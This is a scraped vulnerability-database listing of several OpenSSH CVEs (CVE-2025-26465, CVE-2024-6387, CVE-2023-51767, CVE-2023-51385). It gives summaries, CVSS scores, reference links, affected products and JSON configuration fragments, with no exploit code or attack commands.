      "url": "https://www.openwall.com/lists/oss-security/2025/02/18/4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt"
    }
  ],
  "sourceIdentifier": "secalert@redhat.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "secalert@redhat.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Secondary"
    }
  ]
}

FKIE_CVE-2025-26465

Vulnerability from fkie_nvd - Published: 2025-02-18 19:15 - Updated: 2025-11-03 22:18
Severity ?
6.8 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
6.8 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Summary
A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
References
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2025:16823
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2025:3837
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2025:6993
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2025:8385
secalert@redhat.comhttps://access.redhat.com/security/cve/CVE-2025-26465Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/solutions/7109879
secalert@redhat.comhttps://bugzilla.redhat.com/show_bug.cgi?id=2344780Issue Tracking, Third Party Advisory
secalert@redhat.comhttps://seclists.org/oss-sec/2025/q1/144Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/Feb/18
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/May/7
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/May/8
af854a3a-2127-422b-91ae-364da2661108https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.suse.com/show_bug.cgi?id=1237040Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://ftp.openbsd.org/pub/OpenBSD/patches/7.6/common/008_ssh.patch.sigPatch
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2025/02/msg00020.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.mindrot.org/pipermail/openssh-unix-announce/2025-February/000161.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/CVE-2025-26465Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20250228-0003/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/CVE-2025-26465Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/releasenotes.html#9.9p2Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2025/02/18/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2025/02/18/4Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.theregister.com/2025/02/18/openssh_vulnerabilities_mitm_dos/Press/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://www.vicarius.io/vsociety/posts/cve-2025-26465-detect-vulnerable-opensshThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.vicarius.io/vsociety/posts/cve-2025-26465-mitigate-vulnerable-opensshMitigation, Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0https://seclists.org/oss-sec/2025/q1/144Mailing List, Third Party Advisory
Impacted products
Vendor Product Version
openbsd openssh *
openbsd openssh 6.8
openbsd openssh 9.9
openbsd openssh 9.9
netapp active_iq_unified_manager -
netapp ontap 9
redhat openshift_container_platform 4.0
debian debian_linux 11.0
debian debian_linux 12.0
redhat enterprise_linux 9.0
To clipboard 

{
  "configurations": [
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    },
    {
      "lang": "es",
      "value": "Se encontr\u00f3 una vulnerabilidad en OpenSSH cuando la opci\u00f3n VerifyHostKeyDNS est\u00e1 habilitada. Un ataque de m\u00e1quina en el medio puede ser realizado mediante una m\u00e1quina maliciosa que se hace pasar por un servidor leg\u00edtimo. Este problema ocurre debido a c\u00f3mo los c\u00f3digos de error de OpenSSH Mishandles en condiciones espec\u00edficas al verificar la clave del host. Para que un ataque se considere exitoso, el atacante debe lograr agotar el recurso de memoria del cliente primero, lo que gira la complejidad del ataque."
    }
  ],
  "id": "CVE-2025-26465",
  "lastModified": "2025-11-03T22:18:41.727",
  "metrics": {
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          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
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          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
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    {
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    {
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  ]
}

FKIE_CVE-2024-6387

Vulnerability from fkie_nvd - Published: 2024-07-01 13:15 - Updated: 2025-09-30 13:52
Severity ?
8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period.
References
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4312Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4340Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4389Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4469Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4474Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4479Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2024:4484Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/security/cve/CVE-2024-6387Third Party Advisory
secalert@redhat.comhttps://bugzilla.redhat.com/show_bug.cgi?id=2294604Third Party Advisory
secalert@redhat.comhttps://santandersecurityresearch.github.io/blog/sshing_the_masses.htmlExploit, Third Party Advisory
secalert@redhat.comhttps://www.openssh.com/txt/release-9.8Release Notes, Third Party Advisory
secalert@redhat.comhttps://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txtExploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Jul/18Mailing List
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Jul/19Mailing List
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Jul/20Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/01/12Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/01/13Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/02/1Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/1Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/11Exploit, Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/2Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/3Mailing List, Patch
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/4Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/03/5Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/04/1Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/04/2Exploit, Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/08/2Exploit, Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/08/3Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/09/2Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/09/5Exploit, Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/10/1Exploit, Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/10/2Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/10/3Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/10/4Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/10/6Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/11/1Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/11/3Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/23/4Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/23/6Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/28/2Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/07/28/3Mailing List
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4312Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4340Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4389Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4469Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4474Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4479Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2024:4484Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/security/cve/CVE-2024-6387Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://arstechnica.com/security/2024/07/regresshion-vulnerability-in-openssh-gives-attackers-root-on-linux/Press/Media Coverage, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-serverPress/Media Coverage, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=2294604Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://explore.alas.aws.amazon.com/CVE-2024-6387.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://forum.vmssoftware.com/viewtopic.php?f=8&t=9132Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2024-002.txt.ascRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/AlmaLinux/updates/issues/629Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/Azure/AKS/issues/4379Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/PowerShell/Win32-OpenSSH/discussions/2248Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/PowerShell/Win32-OpenSSH/issues/2249Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/microsoft/azurelinux/issues/9555Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/openela-main/openssh/commit/e1f438970e5a337a17070a637c1b9e19697cad09Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/oracle/oracle-linux/issues/149Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/rapier1/hpn-ssh/issues/87Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/zgzhang/cve-2024-6387-pocThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.almalinux.org/archives/list/announce@lists.almalinux.org/thread/23BF5BMGFVEVUI2WNVAGMLKT557EU7VY/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.htmlMailing List, Release Notes
af854a3a-2127-422b-91ae-364da2661108https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.htmlMailing List, Patch
af854a3a-2127-422b-91ae-364da2661108https://news.ycombinator.com/item?id=40843778Issue Tracking, Patch
af854a3a-2127-422b-91ae-364da2661108https://packetstorm.news/files/id/190587/Broken Link
af854a3a-2127-422b-91ae-364da2661108https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://santandersecurityresearch.github.io/blog/sshing_the_masses.htmlExploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/CVE-2024-6387Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20240701-0001/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://sig-security.rocky.page/issues/CVE-2024-6387/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/Press/Media Coverage, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214118Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214119Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214120Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/CVE-2024-6387Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/notices/USN-6859-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.akamai.com/blog/security-research/2024-openssh-vulnerability-regression-what-to-know-and-doThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.arista.com/en/support/advisories-notices/security-advisory/19904-security-advisory-0100Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/52269Exploit
af854a3a-2127-422b-91ae-364da2661108https://www.freebsd.org/security/advisories/FreeBSD-SA-24:04.openssh.ascThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/txt/release-9.8Release Notes, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txtExploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.splunk.com/en_us/blog/security/cve-2024-6387-regresshion-vulnerability.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.suse.com/security/cve/CVE-2024-6387.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.theregister.com/2024/07/01/regresshion_openssh/Press/Media Coverage, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.vicarius.io/vsociety/posts/regresshion-an-openssh-regression-error-cve-2024-6387Exploit, Third Party Advisory
Impacted products
Vendor Product Version
sonicwall sma_6200_firmware -
sonicwall sma_6200 -
sonicwall sma_7200_firmware -
sonicwall sma_7200 -
arista eos *
canonical ubuntu_linux 23.10
canonical ubuntu_linux 24.04
almalinux almalinux 9.0
sonicwall sma_6210_firmware -
sonicwall sma_6210 -
sonicwall sma_7210_firmware -
sonicwall sma_7210 -
sonicwall sma_8200v_firmware -
sonicwall sma_8200v -
sonicwall sra_ex_7000_firmware -
sonicwall sra_ex_7000 -
netapp a1k_firmware -
netapp a1k -
netapp a70_firmware -
netapp a70 -
netapp a90_firmware -
netapp a90 -
netapp a700s_firmware -
netapp a700s -
netapp 8300_firmware -
netapp 8300 -
netapp 8700_firmware -
netapp 8700 -
netapp a400_firmware -
netapp a400 -
netapp c400_firmware -
netapp c400 -
netapp a250_firmware -
netapp a250 -
netapp 500f_firmware -
netapp 500f -
netapp c250_firmware -
netapp c250 -
netapp a800_firmware -
netapp a800 -
netapp c800_firmware -
netapp c800 -
netapp a900_firmware -
netapp a900 -
netapp a9500_firmware -
netapp a9500 -
netapp c190_firmware -
netapp c190 -
netapp a150_firmware -
netapp a150 -
netapp a220_firmware -
netapp a220 -
netapp fas2720_firmware -
netapp fas2720 -
netapp fas2750_firmware -
netapp fas2750 -
netapp fas2820_firmware -
netapp fas2820 -
netapp bootstrap_os -
netapp hci_compute_node -
apple macos *
apple macos *
apple macos *
openbsd openssh *
openbsd openssh *
openbsd openssh 4.4
openbsd openssh 8.5
openbsd openssh 8.6
redhat openshift_container_platform 4.0
redhat enterprise_linux 9.0
redhat enterprise_linux_eus 9.4
redhat enterprise_linux_for_arm_64 9.0_aarch64
redhat enterprise_linux_for_arm_64_eus 9.4_aarch64
redhat enterprise_linux_for_ibm_z_systems 9.0_s390x
redhat enterprise_linux_for_ibm_z_systems_eus 9.4_s390x
redhat enterprise_linux_for_power_little_endian 9.0_ppc64le
redhat enterprise_linux_for_power_little_endian_eus 9.4_ppc64le
redhat enterprise_linux_server_aus 9.4
suse linux_enterprise_micro 6.0
debian debian_linux 12.0
canonical ubuntu_linux 22.04
canonical ubuntu_linux 22.10
canonical ubuntu_linux 23.04
amazon amazon_linux 2023.0
netapp active_iq_unified_manager -
netapp e-series_santricity_os_controller *
netapp ontap 9
netapp ontap_select_deploy_administration_utility -
netapp ontap_tools 9
netapp ontap_tools 10
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.2
freebsd freebsd 13.3
freebsd freebsd 13.3
freebsd freebsd 13.3
freebsd freebsd 13.3
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.0
freebsd freebsd 14.1
freebsd freebsd 14.1
netbsd netbsd *
To clipboard 

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  "descriptions": [
    {
      "lang": "en",
      "value": "A security regression (CVE-2006-5051) was discovered in OpenSSH\u0027s server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period."
    },
    {
      "lang": "es",
      "value": "Se encontr\u00f3 una condici\u00f3n de ejecuci\u00f3n del controlador de se\u00f1ales en el servidor de OpenSSH (sshd), donde un cliente no se autentica dentro de los segundos de LoginGraceTime (120 de forma predeterminada, 600 en versiones anteriores de OpenSSH), luego se llama al controlador SIGALRM de sshd de forma asincr\u00f3nica. Sin embargo, este controlador de se\u00f1ales llama a varias funciones que no son seguras para se\u00f1ales as\u00edncronas, por ejemplo, syslog()."
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}

FKIE_CVE-2023-51767

Vulnerability from fkie_nvd - Published: 2023-12-24 07:15 - Updated: 2025-11-18 22:15
Severity ?
7.0 (High) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
OpenSSH through 10.0, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat model of attacker-victim co-location in which the attacker has user privileges. NOTE: this is disputed by the Supplier, who states "we do not consider it to be the application's responsibility to defend against platform architectural weaknesses."
References
cve@mitre.orghttps://access.redhat.com/security/cve/CVE-2023-51767Third Party Advisory
cve@mitre.orghttps://arxiv.org/abs/2309.02545Technical Description
cve@mitre.orghttps://bugzilla.redhat.com/show_bug.cgi?id=2255850Issue Tracking, Third Party Advisory
cve@mitre.orghttps://github.com/openssh/openssh-portable/blob/8241b9c0529228b4b86d88b1a6076fb9f97e4a99/auth-passwd.c#L77Product
cve@mitre.orghttps://github.com/openssh/openssh-portable/blob/8241b9c0529228b4b86d88b1a6076fb9f97e4a99/monitor.c#L878Product
cve@mitre.orghttps://security.netapp.com/advisory/ntap-20240125-0006/Third Party Advisory
cve@mitre.orghttps://ubuntu.com/security/CVE-2023-51767Third Party Advisory
cve@mitre.orghttps://www.openwall.com/lists/oss-security/2025/09/22/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/22/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/22/2
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/23/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/23/3
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/23/4
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/23/5
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/24/4
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/24/7
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/25/2
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/25/6
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/26/2
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/26/4
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/2
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/3
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/4
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/5
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/6
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/27/7
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/28/7
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/29/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/29/4
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/29/5
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/09/29/6
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/10/01/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/10/01/2
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/security/cve/CVE-2023-51767Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://arxiv.org/abs/2309.02545Technical Description
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=2255850Issue Tracking, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/openssh/openssh-portable/blob/8241b9c0529228b4b86d88b1a6076fb9f97e4a99/auth-passwd.c#L77Product
af854a3a-2127-422b-91ae-364da2661108https://github.com/openssh/openssh-portable/blob/8241b9c0529228b4b86d88b1a6076fb9f97e4a99/monitor.c#L878Product
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20240125-0006/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/CVE-2023-51767Third Party Advisory
Impacted products
Vendor Product Version
openbsd openssh *
fedoraproject fedora 39
redhat enterprise_linux 8.0
redhat enterprise_linux 9.0
To clipboard 

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FKIE_CVE-2023-51385

Vulnerability from fkie_nvd - Published: 2023-12-18 19:15 - Updated: 2025-11-04 22:15
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Summary
In ssh in OpenSSH before 9.6, OS command injection might occur if a user name or host name has shell metacharacters, and this name is referenced by an expansion token in certain situations. For example, an untrusted Git repository can have a submodule with shell metacharacters in a user name or host name.
References
cve@mitre.orghttp://seclists.org/fulldisclosure/2024/Mar/21
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2023/12/26/4Mailing List, Third Party Advisory
cve@mitre.orghttps://github.com/openssh/openssh-portable/commit/7ef3787c84b6b524501211b11a26c742f829af1aPatch
cve@mitre.orghttps://lists.debian.org/debian-lts-announce/2023/12/msg00017.htmlMailing List, Third Party Advisory
cve@mitre.orghttps://security.gentoo.org/glsa/202312-17Third Party Advisory
cve@mitre.orghttps://security.netapp.com/advisory/ntap-20240105-0005/
cve@mitre.orghttps://support.apple.com/kb/HT214084
cve@mitre.orghttps://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.htmlThird Party Advisory
cve@mitre.orghttps://www.debian.org/security/2023/dsa-5586Third Party Advisory
cve@mitre.orghttps://www.openssh.com/txt/release-9.6Release Notes
cve@mitre.orghttps://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List, Release Notes
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Mar/21
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2023/12/26/4Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/10/07/1
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2025/10/12/1
af854a3a-2127-422b-91ae-364da2661108https://github.com/openssh/openssh-portable/commit/7ef3787c84b6b524501211b11a26c742f829af1aPatch
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2023/12/msg00017.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.gentoo.org/glsa/202312-17Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20240105-0005/
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214084
af854a3a-2127-422b-91ae-364da2661108https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2023/dsa-5586Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/txt/release-9.6Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List, Release Notes
Impacted products
Vendor Product Version
openbsd openssh *
debian debian_linux 10.0
debian debian_linux 11.0
debian debian_linux 12.0
To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5308FBBB-F738-41C5-97A4-E40118E957CD",
              "versionEndExcluding": "9.6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "46D69DCC-AE4D-4EA5-861C-D60951444C6C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In ssh in OpenSSH before 9.6, OS command injection might occur if a user name or host name has shell metacharacters, and this name is referenced by an expansion token in certain situations. For example, an untrusted Git repository can have a submodule with shell metacharacters in a user name or host name."
    },
    {
      "lang": "es",
      "value": "En ssh en OpenSSH anterior a 9.6, la inyecci\u00f3n de comandos del sistema operativo puede ocurrir si un nombre de usuario o nombre de host tiene metacaracteres de shell, y un token de expansi\u00f3n hace referencia a este nombre en ciertas situaciones. Por ejemplo, un repositorio Git que no es de confianza puede tener un subm\u00f3dulo con metacaracteres de shell en un nombre de usuario o nombre de host."
    }
  ],
  "id": "CVE-2023-51385",
  "lastModified": "2025-11-04T22:15:56.047",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
